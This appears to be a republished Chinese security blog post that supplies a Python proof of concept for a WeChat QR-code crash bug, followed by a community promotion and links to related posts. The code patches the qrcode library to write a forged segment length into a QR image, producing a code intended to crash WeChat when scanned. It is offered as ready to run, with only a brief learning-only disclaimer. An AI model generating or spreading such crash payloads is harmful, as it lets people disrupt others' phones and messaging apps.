【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码

admin 2023年4月24日15:36:06评论353 views字数 1837阅读6分7秒阅读模式

注:代码可能带有破坏性,仅用于学习,分析用途。

微信崩溃了?微信最新版二维码Bug,不知道问题在哪里。使用下面代码,轻松帮你复现。


【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码


使用poc生成代码

【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码


安装qrcode

pip isntall qrcode

生成代码:

import qrcodefrom qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTE
def nvwu_put(self, num, length): if num == 0: num = 233 # 制造一个伪造的长度 for i in range(length): self.put_bit(((num >> (length - i - 1)) & 1) == 1)
qrcode.util.BitBuffer.put = nvwu_put
def anquannvwu(): qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)
num_data = QRData('1145141', MODE_NUMBER) data = QRData(b'.', MODE_8BIT_BYTE) hack_data = QRData(b'', MODE_8BIT_BYTE)
# 确保所有数据都适应这个版本的最大内容长度 qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data) qr.add_data(data) qr.add_data(num_data)
# 添加一个零长度的数据,使得数据的长度为233 qr.add_data(hack_data)
img = qr.make_image() img.save("./poc1.png")
if __name__ == "__main__": anquannvwu()

    

上面的代码做了以下工作:

1. 创建一个新的QR码,纠错等级为M,掩码模式为0。

2. 创建一个新的QR数据,字符串为'1145141',模式为MODE_NUMBER。

3. 创建一个新的QR数据,字符串为'.',模式为MODE_8BIT_BYTE。

4. 创建一个新的QR数据,字符串为空,模式为MODE_8BIT_BYTE。





如果你喜欢巫巫的原创文章,推荐加入巫巫的社群(72小时内可申请退款)。

▎  我建立这个星球来沉淀有价值的内容,更好地帮助小伙伴提升自己。 

▎  很多小伙伴都添加我的微信,向我提问越来越多,随便回答不太好,如果不回答也不好,如果都仔细回答,是真的回答不过来!

   后来发现可以建立知识星球,我会花费时间在这个星球上用以解决这一问题。

  星球里将提供:

1.高纬度的网络安全思维模式

2.SRC漏洞挖掘、CTF靶机攻克、企业安全建设、网络边界安全、GAN网络、web3.0安全、企业安全运营、打击涉网犯罪等行业全知识面覆盖

3.高质量的问题交流、导师级顾问服务

【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码



合抱之木,生于毫末。

九层之台,起于累土。

每一次努力和积累,都是在为网络安全领域的发展贡献自己的一份力量。

感谢您一直以来的支持和关注!



【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码

一篇完整的甲方内部防钓鱼演练方案【可直接抄作业】

阿里云WAF3.0命令执行Bypass,也是WAF的通病

漏洞治理难度大?建立完善的漏洞管理流程是关键!

从Prompt注入到命令执行:探究LLM大型语言模型中 OpenAI的风险点

如何在TG群中获取用户真实IP?这些手段教你轻松实现【附代码】

漏洞治理难度大?建立完善的漏洞管理流程是关键!

【盗币科普】你可千万不能这样盗别人的虚拟货币钱包

关于打击跨境网络赌博犯罪,我们如何侦查?我的建议和想法

【完结篇】微信泄露手机号事件的回顾与总结

批量截获机场节点:科学上网工具安全分析

防范虚拟货币钱包盗窃:揭秘非Approve的新型盗U诈骗手段(终极版)

【欺负老实人】在chatgpt Prompt中注入攻击代码,截取跟踪用户信息,钓鱼XSS。

一次完整的GPT-4代码审计,挖掘CMSeasy漏洞

我使用ChatGPT审计代码发现了200多个安全漏洞(GPT-4与GPT-3对比报告)

从零开始,手把手教您如何开通ChatGPT Plus开启GPT-4之旅(depay,nobepay,某宝)

Burpsuite最新版+四款Burpsuite插件,帮你扫描JS文件中的URL链接!

原文始发于微信公众号(安全女巫):【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月24日15:36:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【利用代码】微信bug二维码崩溃漏洞?你要的poc来了!生成自己的二维码https://cn-sec.com/archives/1688859.html

发表评论

匿名网友 填写信息